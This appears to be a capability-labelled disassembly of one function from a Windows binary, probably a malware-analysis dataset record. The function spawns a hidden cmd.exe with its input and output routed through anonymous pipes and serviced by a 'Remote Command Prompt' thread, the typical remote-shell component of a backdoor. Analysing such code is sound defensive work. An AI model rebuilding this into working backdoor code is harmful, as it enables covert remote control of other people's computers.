Function at 0x40c418
Capabilities:
Create a process with modified i/o handles and window
Create pipe
Create process on windows
Create thread
Create two anonymous pipes
Execute shell command and capture output

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x37c
call fcn.0040c13d
push 0
lea eax, [ebp - 0x104]
push eax
push 0x104
push 0
push str.cmd.exe
push 0
call dword [0x4e35e0]
test eax, eax
jne 0x40c44f
or eax, 0xffffffff
jmp 0x40c697
mov dword [ebp - 0x110], 0xc
mov dword [ebp - 0x108], 1
and dword [ebp - 0x10c], 0
push 0
lea eax, [ebp - 0x110]
push eax
lea eax, [ebp - 0x15c]
push eax
lea eax, [ebp - 0x158]
push eax
call dword [sym.imp.KERNEL32.dll_CreatePipe]
test eax, eax
jne 0x40c493
or eax, 0xffffffff
jmp 0x40c697
push 0
lea eax, [ebp - 0x110]
push eax
lea eax, [ebp - 0x360]
push eax
lea eax, [ebp - 0x378]
push eax
call dword [sym.imp.KERNEL32.dll_CreatePipe]
test eax, eax
jne 0x40c4bc
or eax, 0xffffffff
jmp 0x40c697
push 3
push 0
push 0
push 0x4dd4fc
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
push dword [ebp - 0x360]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_DuplicateHandle]
test eax, eax
jne 0x40c4ed
or eax, 0xffffffff
jmp 0x40c697
push 0x10
push 0
lea eax, [ebp - 0x374]
push eax
call fcn.0041ecc0
add esp, 0xc
push 0x44
push 0
lea eax, [ebp - 0x154]
push eax
call fcn.0041ecc0
add esp, 0xc
mov dword [ebp - 0x154], 0x44
mov dword [ebp - 0x128], 0x101
and word [ebp - 0x124], 0
mov eax, dword [ebp - 0x378]
mov dword [ebp - 0x11c], eax
mov eax, dword [ebp - 0x15c]
mov dword [ebp - 0x118], eax
mov eax, dword [ebp - 0x15c]
mov dword [ebp - 0x114], eax
lea eax, [ebp - 0x374]
push eax
lea eax, [ebp - 0x154]
push eax
push 0
push 0
push 0
push 1
push 0
push 0
push 0x4dd928
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x40c58b
or eax, 0xffffffff
jmp 0x40c697
push dword [ebp - 0x378]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x158]
mov dword [0x4dd2f0], eax
mov eax, dword [ebp - 0x360]
mov dword [0x4dd500], eax
mov eax, dword [ebp - 0x374]
mov dword [0x4d92ec], eax
push dword [ebp - 0x370]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp + 8]
mov dword [0x4dd8b0], eax
cmp dword [ebp + 0xc], 0
je 0x40c5e3
push dword [ebp + 0xc]
push 0x4dd67c
call fcn.0041ee40
pop ecx
pop ecx
jmp 0x40c5f4
push 0x4dd92c
push 0x4dd67c
call fcn.0041ee40
pop ecx
pop ecx
push 0
push 7
push str.Remote_Command_Prompt
call fcn.0041d7c3
add esp, 0xc
mov dword [ebp - 0x37c], eax
mov eax, dword [ebp - 0x37c]
imul eax, eax, 0x244
mov ecx, dword [ebp - 0x36c]
mov dword [eax + 0x44bb20], ecx
lea eax, [ebp - 0x364]
push eax
push 0
push dword [ebp - 0x37c]
push 0x40c242
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [ebp - 0x37c]
imul ecx, ecx, 0x244
mov dword [ecx + 0x44bb30], eax
mov eax, dword [ebp - 0x37c]
imul eax, eax, 0x244
cmp dword [eax + 0x44bb30], 0
jne 0x40c695
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str._MAIN_
push str._s_Failed_to_start_IO_thread__error___d
lea eax, [ebp - 0x35c]
push eax
call fcn.0041ee40
add esp, 0x10
lea eax, [ebp - 0x35c]
push eax
call fcn.0040a845
pop ecx
xor eax, eax
leave
ret